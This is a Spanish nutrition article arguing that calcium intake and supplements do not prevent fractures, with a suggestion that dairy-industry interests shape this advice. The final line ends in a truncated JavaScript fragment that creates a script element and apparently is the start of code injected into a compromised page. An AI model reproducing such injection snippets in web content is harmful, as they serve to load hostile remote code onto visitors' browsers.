Aumentar la ingesta de calcio no previene las fracturas, ni los suplementos son útiles para la remineralización del hueso
Dígame tres verdades sobre la salud de los huesos:
– Es necesario tomar mucho calcio para tener unos huesos fuertes.
– Los lácteos son imprescindibles y nos protegen de la osteoporosis.
– Si, a pesar de tener un alto consumo de lácteos (ergo, de calcio), nuestra densidad ósea se resiente, se arreglará tomando calcio en suplementos o alimentos enriquecidos en calcio.
Muchos pensarán que esas tres aseveraciones son obvias, las sabe todo el mundo y tampoco hace falta ser nutricionista… Esos mensajes nos llegan continuamente a través de la publicidad, el marketing alimentario y el consejo de algunos expertos. Ninguna novedad. Lácteos = calcio = huesos fuertes.
Aunque lo cierto es que tal vez no sea tan verdad.
Tal vez la industria láctea tenga intereses en esos mensajes y se afane en que nos lleguen, sobre todo cuando la tendencia indica que las ventas caen. Tal vez la ingesta de calcio no sea directamente proporcional a la mineralización ósea. Tal vez haya estrategias preventivas de la osteoporosis que no se priorizan porque no reportan ningún beneficio económico a ninguna industria. Tal vez a menudo el consejo profesional esté obsoleto o sesgado por intereses, o poco actualizado.var d=document;var s=d.createElement(‘script’);